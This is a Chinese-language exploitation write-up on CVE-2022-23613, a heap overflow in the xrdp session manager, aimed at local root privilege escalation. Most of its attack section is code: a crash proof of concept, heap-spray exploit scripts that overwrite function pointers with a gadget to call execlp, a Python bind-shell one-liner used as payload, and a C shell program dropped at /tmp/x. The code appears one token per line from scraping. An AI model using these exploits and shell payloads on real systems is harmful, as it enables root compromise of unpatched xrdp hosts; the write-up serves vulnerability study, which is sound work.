因为很少做过真实场景下的漏洞复现,深感自己知识的浅薄,恰巧团里的师傅发了个洞,让我看看怎么利用,因此顺便做一个简陋的分析吧。
漏洞编号为 CVE-2022-23613,现已公开了相关信息。该漏洞作为一个运行在 root 权限下的 RDP 服务,由于该漏洞最终能够导致任意代码执行,因此笔者打算以提权作为最终的利用目标。
若本文存在任何纰漏,请务必与我联系,我会尽快修正本文内容。
1
2
3
4
|
xrdp
-
sesman
0.9
.
18
The xrdp session manager
Copyright (C)
2004
-
2020
Jay Sorg, Neutrino Labs,
and
all
contributors.
See https:
/
/
github.com
/
neutrinolabs
/
xrdp
for
more information.
|
该项目的开源地址:https://github.com/neutrinolabs/xrdp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
static
int
sesman_data_in(struct trans
*
self
)
{
+
#define HEADER_SIZE 8
int
version;
int
size;
if
(
self
-
>extra_flags
=
=
0
)
{
in_uint32_be(
self
-
>in_s, version);
in_uint32_be(
self
-
>in_s, size);
-
if
(size >
self
-
>in_s
-
>size)
+
if
(size < HEADER_SIZE || size >
self
-
>in_s
-
>size)
{
-
LOG(LOG_LEVEL_ERROR,
"sesman_data_in: bad message size"
);
+
LOG(LOG_LEVEL_ERROR,
"sesman_data_in: bad message size %d"
, size);
return
1
;
}
self
-
>header_size
=
size;
@@
-
302
,
11
+
303
,
12
@@ sesman_data_in(struct trans
*
self
)
return
1
;
}
/
*
reset
for
next
message
*
/
-
self
-
>header_size
=
8
;
+
self
-
>header_size
=
HEADER_SIZE;
self
-
>extra_flags
=
0
;
init_stream(
self
-
>in_s,
0
);
/
*
Reset
input
stream pointers
*
/
}
return
0
;
+
#undef HEADER_SIZE
}
/
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
/
|
从已公开的 Patch 可以看出,它添加了一个对 size
变量的负数校验,似乎意味着整数溢出漏洞的存在,不妨跟踪一下该变量。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
else
/
*
connected server
or
client (
2
or
3
)
*
/
{
if
(
self
-
>si !
=
0
&&
self
-
>si
-
>source[
self
-
>my_source] > MAX_SBYTES)
{
}
else
if
(
self
-
>trans_can_recv(
self
,
self
-
>sck,
0
))
{
cur_source
=
XRDP_SOURCE_NONE;
if
(
self
-
>si !
=
0
)
{
cur_source
=
self
-
>si
-
>cur_source;
self
-
>si
-
>cur_source
=
self
-
>my_source;
}
read_so_far
=
(
int
) (
self
-
>in_s
-
>end
-
self
-
>in_s
-
>data);
to_read
=
self
-
>header_size
-
read_so_far;
if
(to_read >
0
)
{
read_bytes
=
self
-
>trans_recv(
self
,
self
-
>in_s
-
>end, to_read);
|
查找 self->header_size
的引用,可以发现该变量将与 self->trans_recv
的参数间接相关,而该函数类似于 read
的作用,将 self
相关的套接字中读取 to_read
个字符到 self->in_s->end
。
而该缓冲区来自于:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
struct trans
*
trans_create(
int
mode,
int
in_size,
int
out_size)
{
struct trans
*
self
=
(struct trans
*
) NULL;
self
=
(struct trans
*
) g_malloc(sizeof(struct trans),
1
);
if
(
self
!
=
NULL)
{
make_stream(
self
-
>in_s);
init_stream(
self
-
>in_s, in_size);
make_stream(
self
-
>out_s);
init_stream(
self
-
>out_s, out_size);
self
-
>mode
=
mode;
self
-
>tls
=
0
;
/
*
assign tcp calls by default
*
/
self
-
>trans_recv
=
trans_tcp_recv;
self
-
>trans_send
=
trans_tcp_send;
self
-
>trans_can_recv
=
trans_tcp_can_recv;
}
return
self
;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
|
#define init_stream(s, v) do \
{ \
if
((v) > (s)
-
>size) \
{ \
g_free((s)
-
>data); \
(s)
-
>data
=
(char
*
)g_malloc((v),
0
); \
(s)
-
>size
=
(v); \
} \
(s)
-
>p
=
(s)
-
>data; \
(s)
-
>end
=
(s)
-
>data; \
(s)
-
>next_packet
=
0
; \
}
while
(
0
)
|
可以看见,该缓冲区会通过 g_malloc
创建在堆上,那么只要 to_read
的值超出了堆的原始大小,就有可能造成堆溢出了:
1
|
g_list_trans
=
trans_create(TRANS_MODE_TCP,
8192
,
8192
);
|
从调用点也可以看出,每次建立一个新的连接时都会为该连接创建一个大小为 0x2000 的输入缓冲区,并且接下来将会调用 trans_check_wait_objs
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
int
trans_check_wait_objs(struct trans
*
self
)
{
......
if
(
self
-
>type1
=
=
TRANS_TYPE_LISTENER)
/
*
listening
*
/
{
......
}
else
/
*
connected server
or
client (
2
or
3
)
*
/
{
if
(
self
-
>si !
=
0
&&
self
-
>si
-
>source[
self
-
>my_source] > MAX_SBYTES)
{
}
else
if
(
self
-
>trans_can_recv(
self
,
self
-
>sck,
0
))
{
cur_source
=
XRDP_SOURCE_NONE;
if
(
self
-
>si !
=
0
)
{
cur_source
=
self
-
>si
-
>cur_source;
self
-
>si
-
>cur_source
=
self
-
>my_source;
}
read_so_far
=
(
int
) (
self
-
>in_s
-
>end
-
self
-
>in_s
-
>data);
to_read
=
self
-
>header_size
-
read_so_far;
if
(to_read >
0
)
{
read_bytes
=
self
-
>trans_recv(
self
,
self
-
>in_s
-
>end, to_read);
......
}
......
}
return
rv;
}
|
如果创建的类型不为 TRANS_TYPE_LISTENER
,那么该连接就会调用 self->trans_recv
将数据直接读进刚刚创建的输入缓冲区中,且由于它并没有校验 self->header_size
可能是负数的情况,因此可以令 to_read
通过负数减去一个正数溢出为一个极大的正数,从而导致堆溢出。
POC:
1
2
3
4
5
6
7
8
9
10
11
|
import
socket
import
struct
if
__name__
=
=
"__main__"
:
s
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((
"127.0.0.1"
,
3350
))
sdata
=
b''
sdata
+
=
struct.pack(
"I"
,
0x2222CCCC
)
#version
sdata
+
=
struct.pack(
">I"
,
0x80000000
)
#headersize
s.send(sdata)
sdata
=
b
'a'
*
0x10000
#padding
s.send(sdata)
|
回顾一下刚刚的 trans_create
可以发现:
1
2
3
4
5
6
7
8
9
10
11
12
|
struct trans
*
trans_create(
int
mode,
int
in_size,
int
out_size)
{
struct trans
*
self
=
(struct trans
*
) NULL;
self
=
(struct trans
*
) g_malloc(sizeof(struct trans),
1
);
......
self
-
>trans_recv
=
trans_tcp_recv;
self
-
>trans_send
=
trans_tcp_send;
self
-
>trans_can_recv
=
trans_tcp_can_recv;
return
self
;
}
|
struct trans self
结构体与输入输出缓冲区同样位于堆内存中,并且它还初始化了函数指针,那么一个可行的利用点就是:通过堆溢出去覆盖 self->trans_recv
偏移处的值为一个类似 system
的函数来进行任意命令执行。
通过 IDA 搜索可以找到如下两个函数:
1
2
|
extern:
00000000004105D8
extrn g_execvp:near
extern:
0000000000410658
extrn g_execlp3:near
|
这两个命令分别是 execvp
和 execlp
的包装,函数实现如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
int
g_execvp(const char
*
p1, char
*
args[])
{
......
args_len
=
0
;
while
(args[args_len] !
=
NULL)
{
args_len
+
+
;
}
g_strnjoin(args_str, ARGS_STR_LEN,
" "
, (const char
*
*
) args, args_len);
g_rm_temp_dir();
rv
=
execvp(p1, args);
......
}
int
g_execlp3(const char
*
a1, const char
*
a2, const char
*
a3)
{
......
g_strnjoin(args_str, ARGS_STR_LEN,
" "
, args,
2
);
......
g_rm_temp_dir();
rv
=
execlp(a1, a2, a3, (void
*
)
0
);
......
}
|
因为 xrdp 服务是通过 socket 进行通信的,因此让其打开 “/bin/sh” 是不够的,想要让它能够完成任意命令执行,最好还是让它反弹一个 shell 出来比较合适,比方说:
1
2
3
4
5
6
7
|
#include<stdlib.h>
int
main()
{
char ars2[]
=
"-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\"sh\");"
;
execlp(
"python3"
,
"python3"
,ars2,
0
);
return
0
;
}
|
这个格式就比较像 g_execlp3
的实现了对吗?看起来似乎相当可行,但是笔者在经过各种各样的尝试以后放弃了这个做法,因为精准的控制参数是一件极其困难的事情。
1
|
read_bytes
=
self
-
>trans_recv(
self
,
self
-
>in_s
-
>end, to_read);
|
假设我们令 self->trans_recv
为 g_execlp3
,那么我们就需要令 self
指向 “python3”,self->in_s->end
也是一个指向 “python3” 字符串的指针,以及 to_read
必须为一个指向参数的指针。
通过 IDA 搜索二进制程序中的字符串可以发现,唯一一个或许能用的字符串只有 "/bin/sh",因此所有的参数字符串都需要我们一起放在 payload 中输入到内存里去才行。
但是有与常规的 CTF PWN 题不同的是,用户通过 socket 进行交互,泄露地址是一件比较麻烦的事情,大部分情况下甚至连回显都拿不到,更何况就算有办法拿到回显,泄露地址的参数也仍然需要控制,因此又要绕回到这个问题上,因此只好考虑如何在无地址的情况下完成利用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
struct trans
{
tbus sck;
/
*
socket handle
*
/
int
mode;
/
*
1
tcp,
2
unix socket,
3
vsock
*
/
int
status;
int
type1;
/
*
1
listener
2
server
3
client
*
/
ttrans_data_in trans_data_in;
ttrans_conn_in trans_conn_in;
void
*
callback_data;
int
header_size;
struct stream
*
in_s;
struct stream
*
out_s;
char
*
listen_filename;
tis_term is_term;
/
*
used to test
for
exit
*
/
struct stream
*
wait_s;
char addr[
256
];
char port[
256
];
int
no_stream_init_on_data_in;
int
extra_flags;
/
*
user defined
*
/
struct ssl_tls
*
tls;
const char
*
ssl_protocol;
/
*
e.g. TLSv1, TLSv1.
1
, TLSv1.
2
, unknown
*
/
const char
*
cipher_name;
/
*
e.g. AES256
-
GCM
-
SHA384
*
/
trans_recv_proc trans_recv;
/
/
0x280
trans_send_proc trans_send;
trans_can_recv_proc trans_can_recv;
struct source_info
*
si;
enum xrdp_source my_source;
};
|
self
是一个 struct trans
,为了触发 self->trans_recv
,我们需要先通过几个检查:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
int
trans_check_wait_objs(struct trans
*
self
)
{
......
if
(
self
-
>status !
=
TRANS_STATUS_UP)
{
return
1
;
}
rv
=
0
;
if
(
self
-
>type1
=
=
TRANS_TYPE_LISTENER)
/
/
<
-
-
-
-
-
-
false
{
......
}
else
/
*
connected server
or
client (
2
or
3
)
*
/
{
if
(
self
-
>si !
=
0
&&
self
-
>si
-
>source[
self
-
>my_source] > MAX_SBYTES)
{
}
else
if
(
self
-
>trans_can_recv(
self
,
self
-
>sck,
0
))
{
cur_source
=
XRDP_SOURCE_NONE;
if
(
self
-
>si !
=
0
)
{
cur_source
=
self
-
>si
-
>cur_source;
self
-
>si
-
>cur_source
=
self
-
>my_source;
}
read_so_far
=
(
int
) (
self
-
>in_s
-
>end
-
self
-
>in_s
-
>data);
to_read
=
self
-
>header_size
-
read_so_far;
if
(to_read >
0
)
{
read_bytes
=
self
-
>trans_recv(
self
,
self
-
>in_s
-
>end, to_read);
......
}
|
self->status
必须固定为 TRANS_STATUS_UP
self->type1
不可为 TRANS_TYPE_LISTENER
self->trans_can_recv
返回非 0 值self->si
非 0可以注意到,由于 self->status
的值是固定的,因此 self
为字符串时,只有前几个字符可以控制,不过看起来似乎还是够写至少八个字符的,因此第一个参数似乎可以稳定传参。
但是正如刚刚所说,另外两个参数的控制就显得有些麻烦了。
首先是 self->in_s->end
,这意味着需要先覆盖 self->in_s
为 target_addr-end_offset
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
struct stream
{
char
*
p;
char
*
end;
char
*
data;
int
size;
int
pad0;
/
*
offsets of various headers
*
/
char
*
iso_hdr;
char
*
mcs_hdr;
char
*
sec_hdr;
char
*
rdp_hdr;
char
*
channel_hdr;
/
*
other
*
/
char
*
next_packet;
struct stream
*
next
;
int
*
source;
};
|
也就是说,需要它是一个地址,而现在我们似乎没办法泄露随机的堆地址。
1
2
|
read_so_far
=
(
int
) (
self
-
>in_s
-
>end
-
self
-
>in_s
-
>data);
to_read
=
self
-
>header_size
-
read_so_far;
|
控制 to_read
并不困难,假设我们需要它指向一个堆,由于堆地址总是小于 0x80000000,因此它是一个正数能够被保证,其次,self->header_size
能够被任意控制,因此控制其值本身是容易的,但是问题还是一样的,堆地址怎么来?
另外还有一个需要注意的点是,为了调用 self->trans_recv
需要先通过 self->trans_can_recv
,由于 self
结构体已经被覆盖,该函数是有一定可能调用失败的,该函数的实际实现如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
int
g_sck_can_recv(
int
sck,
int
millis)
{
fd_set rfds;
struct timeval time;
int
rv;
g_memset(&time,
0
, sizeof(time));
time.tv_sec
=
millis
/
1000
;
time.tv_usec
=
(millis
*
1000
)
%
1000000
;
FD_ZERO(&rfds);
if
(sck >
0
)
{
FD_SET(((unsigned
int
)sck), &rfds);
rv
=
select(sck
+
1
, &rfds,
0
,
0
, &time);
if
(rv >
0
)
{
return
1
;
}
}
return
0
;
}
|
由于我们完全不关心该函数的功能逻辑,笔者在构造 exp 时候打算令其直接恒真:
1
|
0x0000000000405464
:
or
al,
0x89
; ret
|
注意到程序有这么一个 gadget 可以利用,因此我们将该函数指针覆盖为该 gadget 时即可绕过检查。
您可能会注意到,每次初始化输入缓冲区和输出缓冲区时,都建立了 0x2000 大小的缓冲区,这个值并不小,那么如果多建立几个连接,是否就能够像堆喷那样完成利用呢?
1
2
3
4
5
6
7
|
/
*
*
*
Maximum number of short
-
lived connections to sesman
*
*
At the moment,
all
connections to sesman are short
-
lived. This may change
*
in
the future
*
/
#define MAX_SHORT_LIVED_CONNECTIONS 16
|
可以看见,此处的 MAX_SHORT_LIVED_CONNECTIONS
较小,它只允许我们最多保持 16 个连接,生成的堆内存如下:
1
2
3
4
5
6
7
8
9
|
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000
0x403000
r
-
-
p
3000
0
/
usr
/
local
/
sbin
/
xrdp
-
sesman
0x403000
0x40b000
r
-
xp
8000
3000
/
usr
/
local
/
sbin
/
xrdp
-
sesman
0x40b000
0x40f000
r
-
-
p
4000
b000
/
usr
/
local
/
sbin
/
xrdp
-
sesman
0x40f000
0x410000
r
-
-
p
1000
e000
/
usr
/
local
/
sbin
/
xrdp
-
sesman
0x410000
0x411000
rw
-
p
1000
f000
/
usr
/
local
/
sbin
/
xrdp
-
sesman
0x65b000
0x6a7000
rw
-
p
4c000
0
[heap]
0x6a7000
0x6c8000
rw
-
p
21000
0
[heap]
|
总共的堆内存大小为 0x6D000,考虑到堆一开始就有一部分被用于其他用途,笔者最终算出来的堆内存可用大小最多为 0x5b0b8,而堆的地址大概在 0x0300000~0x3500000
这个数值是笔者在调试过程中根据印象猜出来的,实际还是要以源代码为准,但笔者在这里想要表达的意思是,强行堆喷的成功率不高,粗算一下大概是 0.7112884521484375%(原神单抽一个五星的感觉)
但其实还不只是如此,因为强行堆喷需要布置的内容是参数+地址,大致结构如下:
1
|
args_str1 | args_str2 | args_str1_addr | args_str2_addr
|
而您需要保证的是:
self->in_s
能够指向 args_str1_addr-8
args_str1_addr
能够指向 args_str1
如果您能够保证以上两点,args_str2_addr
由于可以通过偏移算出,因此几乎必中,to_read
参数也可以通过偏移算出,也能够保证几乎必中。
但您也发现了,这需要碰撞两次地址,对本就不太容易成功的条件更是雪上加霜。看起来似乎需要优化一下堆喷的思路才能够完成。
注:以下内容是笔者在尝试时的一种猜测,它没能成功,但笔者仍然写在这里,期望与各位师傅们探讨它的可行性。可能已经有过这样的技巧了,但作为一次学习记录,姑且写下吧。
因为一开始我们是将输入的结构作为一个整体进行地址碰撞,但似乎可以拆分一下来提高成功率。
结构一为:
1
|
args_str1 | args_str2
|
结构二为:
1
|
args_str1_addr | args_str2_addr
|
也就是说,将字符串和指向字符串的地址拆分开,分别用两个结构去填充内存。
看起来似乎没有差别,但是由于 Glibc 管理的堆内存是一个线性结构,这意味着 args_str1
和 args_str1_addr
是可以有一个较为稳定的相对偏移的(这个偏移会浮动,但笔者认为浮动不大,只要字符串结构布置的足够密集,理论上会更容易命中一点)。
那么情况就会变成:如果 self->in_s
命中了 args_str1_addr-8
,那么, args_str1_addr
为 args_str1+offset
,理论上也有不小的概率能够命中。
这么来看,似乎将本来需要碰撞两次的地址优化为了只 需要碰撞一次+一个中概率事件发生。
在 16 个连接的条件下,由于堆的大小较小,因此笔者没能成功,但是如果我们调大了这块内存,允许建立大约 100 个连接左右的情况下,堆的内存会骤增。笔者最后测试的结果大约是 10% 左右的碰撞命中率。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
|
import
socket
import
struct
import
time
def
pack_addr():
sdata
=
b
"python3\x00-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\"sh\");\x00"
return
sdata
def
pack_addr2():
sdata
=
b
"\xf0\x93\x0a\x02\x00\x00\x00\x00"
sdata
=
b
"\xf8\x93\x0a\x02\x00\x00\x00\x00"
return
sdata
s
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((
"127.0.0.1"
,
3350
))
# padding args_str
con_list
=
[
0
]
*
300
for
i
in
range
(
14
):
con_list[i]
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[i].connect((
"127.0.0.1"
,
3350
))
sdata
=
b''
sdata
+
=
struct.pack(
"I"
,
0x2222CCCC
)
#version
sdata
+
=
struct.pack(
">I"
,
0x80000000
)
#headersize
con_list[i].send(sdata)
sdata
=
pack_addr()
*
0xd0
con_list[i].send(sdata)
con_list[
14
]
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[
14
].connect((
"127.0.0.1"
,
3350
))
con_list[
15
]
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[
15
].connect((
"127.0.0.1"
,
3350
))
x
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
x.connect((
"127.0.0.1"
,
3350
))
# padding args_str_addr
con_list2
=
[
0
]
*
300
def
heap_spary(x,y):
for
i
in
range
(x,y):
con_list2[i]
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list2[i].connect((
"127.0.0.1"
,
3350
))
sdata
=
b''
sdata
+
=
struct.pack(
"I"
,
0x2222CCCC
)
#version
sdata
+
=
struct.pack(
">I"
,
0x80000000
)
#headersize
con_list2[i].send(sdata)
sdata
=
pack_addr2()
*
0x3f0
con_list2[i].send(sdata)
time.sleep(
0.05
)
heap_spary(
0
,
50
)
heap_spary(
50
,
100
)
heap_spary(
100
,
150
)
#init stream
sdata
=
b''
sdata
+
=
struct.pack(
"I"
,
0x2222CCCC
)
sdata
+
=
struct.pack(
">I"
,
0x80000000
)
con_list[
15
].send(sdata)
sdata
=
b
'D'
*
0x10
con_list[
15
].send(sdata)
# heap_overflow
sdata
=
b''
sdata
+
=
struct.pack(
"I"
,
0x2222CCCC
)
sdata
+
=
struct.pack(
">I"
,
0x80000000
)
con_list[
14
].send(sdata)
sdata
=
b
'C'
*
0x4140
+
b
"\xb1\x02\x00\x00\x00\x00\x00\x00"
+
b
"/tmp/x\x00\x00"
+
b
"\x01\x00\x00\x00"
*
2
sdata
+
=
b
"\x02\x00\x00\x00\x00\x00\x00\x00"
+
b
"\xba\xc9\x40\x00\x00\x00\x00\x00"
+
b
"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata
+
=
b
"\x00\x00\x00\x7f\x00\x00\x00\x00"
+
b
"\xba\xc9\x40\x00\x00\x00\x00\x00"
+
b
"\xf0\x93\x3a\x02\x00\x00\x00\x00"
sdata
+
=
b
"P"
*
0x240
+
b
"\xf0\x3b\x40\x00\x00\x00\x00\x00"
+
b
"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata
+
=
b
"\x64\x54\x40\x00\x00\x00\x00\x00"
con_list[
14
].send(sdata)
# trigger execlp
sdata
=
b''
sdata
+
=
struct.pack(
"I"
,
0x2222CCCC
)
#version
sdata
+
=
b
"\x58\x01\xda\x00\x00\x00\x00\x00"
#headersize
con_list[
15
].send(sdata)
|
大致的 exp 如上,先将参数打入到堆内存的首部,然后再往之后的堆内存里去堆字符串的地址。最后在覆盖 self->in_s
时候用一个堆地址去撞。
在堆喷失败以后,笔者又试了一下其他的方法,最终认为,如果我们只需要在本机上进行提权,完全不需要这么麻烦去构造一个 execlp
的调用链。
首先,我们可以先写一个用于反弹 shell 的程序,用静态编译的方法将其编译到 ”/tmp/x“:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
#include <stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
char shell[]
=
"/bin/sh"
;
char message[]
=
"hi hacker welcome"
;
int
sock;
int
main(
int
argc, char
*
argv[]) {
struct sockaddr_in server;
if
((sock
=
socket(AF_INET, SOCK_STREAM,
0
))
=
=
-
1
) {
printf(
"Couldn't make socket!n"
); exit(
-
1
);
}
server.sin_family
=
AF_INET;
server.sin_port
=
htons(atoi(
"10000"
));
server.sin_addr.s_addr
=
inet_addr(
"0.0.0.0"
);
if
(connect(sock, (struct sockaddr
*
)&server, sizeof(struct sockaddr))
=
=
-
1
) {
printf(
"Could not connect to remote shell!n"
);
/
/
exit(
-
1
);
/
/
return
-
1
;
exit(
-
1
);
}
send(sock, message, sizeof(message),
0
);
dup2(sock,
0
);
dup2(sock,
1
);
dup2(sock,
2
);
execl(shell,
"/bin/sh"
,(char
*
)
0
);
close(sock);
return
1
;
}
void usage(char
*
prog[]) {
printf(
"Usage: %s <reflect ip> <port>\n"
, prog);
/
/
exit(
-
1
);
/
/
return
-
1
;
exit(
-
1
);
}
|
接下来我们令服务调用如下函数:
1
2
3
4
5
6
7
8
9
|
#include<stdlib.h>
#include <errno.h>
#include <stdio.h>
int
main()
{
int
a
=
execlp(
"/tmp/x"
,
0
,
0
,(void
*
)
0
);
return
0
;
}
|
后两个参数是完全随意的,不管是什么,只要是合法参数都行,或者:
1
2
3
4
5
6
7
8
|
#include<stdlib.h>
#include <errno.h>
#include <stdio.h>
int
main()
{
int
a
=
execvp(
"/tmp/x"
,
0
);
return
0
;
}
|
对于 execlp
的情况,由于服务中使用的实际上是 g_execlp3
,因此我们需要保证第二和第三个参数是可解析的,只要它们是可解析的,那么为任意值都行。
而对于第二个情况,我们只需要令第二个参数为 0 即可,不过在该服务中,其实际实现如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
int
g_execvp(const char
*
p1, char
*
args[])
{
int
rv;
char args_str[ARGS_STR_LEN];
int
args_len;
args_len
=
0
;
while
(args[args_len] !
=
NULL)
{
args_len
+
+
;
}
g_strnjoin(args_str, ARGS_STR_LEN,
" "
, (const char
*
*
) args, args_len);
LOG(LOG_LEVEL_DEBUG,
"Calling exec (excutable: %s, arguments: %s)"
,
p1, args_str);
g_rm_temp_dir();
rv
=
execvp(p1, args);
/
*
should
not
get here
*
/
LOG(LOG_LEVEL_ERROR,
"Error calling exec (excutable: %s, arguments: %s) "
"returned errno: %d, description: %s"
,
p1, args_str, g_get_errno(), g_get_strerror());
g_mk_socket_path(
0
);
return
rv;
#endif
}
|
self->in_s->end
为 0 将会失败,因为 args[args_len]
会引用错误的地址。因此最好的办法是找一个地方,让 self->in_s->end
能够指向 0 。
这似乎是有可能实现的,而且即便我们找不到任何指向 0 的指针,只要能有一片连续的地址保持如下结构就行了:
1
|
addr1 | addr2 | addr3 |
0
|
甚至于,直接尝试堆喷去撞那个将近 1% 的概率似乎也不是不能接受。
加之第一个参数是稳定控制的,尽管能写的字符数不多,但 ”/tmp/x“ 总共也不到八字节,绰绰有余。
这么一看,似乎对参数就有很多余裕了,只要参数符合调用规则,任意参数都可以。因此接下来就只剩下找到一个合适的地址作为参数去构造了。
最后的 EXP 结构大致如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
import
socket
import
struct
import
time
def
pack_addr2():
sdata
=
b
"\xba\xc9\x40\x00\x00\x00\x00\x00"
return
sdata
s
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((
"127.0.0.1"
,
3350
))
con_list
=
[
0
]
*
300
for
i
in
range
(
12
):
con_list[i]
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[i].connect((
"127.0.0.1"
,
3350
))
sdata
=
b''
sdata
+
=
struct.pack(
"I"
,
0x2222CCCC
)
sdata
+
=
struct.pack(
">I"
,
0x80000000
)
con_list[i].send(sdata)
sdata
=
pack_addr2()
*
0x3f0
con_list[i].send(sdata)
time.sleep(
0.05
)
con_list[
14
]
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[
14
].connect((
"127.0.0.1"
,
3350
))
con_list[
15
]
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[
15
].connect((
"127.0.0.1"
,
3350
))
x
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
x.connect((
"127.0.0.1"
,
3350
))
# init stream
sdata
=
b''
sdata
+
=
struct.pack(
"I"
,
0x2222CCCC
)
#version
sdata
+
=
struct.pack(
">I"
,
0x80000000
)
#headersize
con_list[
15
].send(sdata)
sdata
=
b
'D'
*
0x10
con_list[
15
].send(sdata)
# heap overflow
sdata
=
b''
sdata
+
=
struct.pack(
"I"
,
0x2222CCCC
)
#version
sdata
+
=
struct.pack(
">I"
,
0x80000000
)
#headersize
con_list[
14
].send(sdata)
sdata
=
b
'C'
*
0x4140
+
b
"\xb1\x02\x00\x00\x00\x00\x00\x00"
+
b
"/tmp/x\x00\x00"
+
b
"\x01\x00\x00\x00"
*
2
sdata
+
=
b
"\x02\x00\x00\x00\x00\x00\x00\x00"
+
b
"\xba\xc9\x40\x00\x00\x00\x00\x00"
+
b
"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata
+
=
b
"\x00\x00\x00\x7f\x00\x00\x00\x00"
+
b
"\xba\xc9\x40\x00\x00\x00\x00\x00"
+
b
"\xf0\x93\x3a\x02\x00\x00\x00\x00"
sdata
+
=
b
"P"
*
0x240
+
b
"\xf0\x3b\x40\x00\x00\x00\x00\x00"
+
b
"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata
+
=
b
"\x64\x54\x40\x00\x00\x00\x00\x00"
con_list[
14
].send(sdata)
# trigger execlp
sdata
=
b''
sdata
+
=
struct.pack(
"I"
,
0x2222CCCC
)
sdata
+
=
b
"\x58\x01\xda\x00\x00\x00\x00\x00"
con_list[
15
].send(sdata)
|
这个 exp 可能是不通的,因为我选了用 execlp 去完成。主要是做到这一步之后,我感兴趣的部分已经全都完成了,所以差不多就停了,并且本文也已经写完了。
如果读者对 execvp 的方案感兴趣,也可以自行尝试一下。
更多【CVE-2022-23613复现与漏洞利用可能性尝试】相关视频教程:www.yxfzedu.com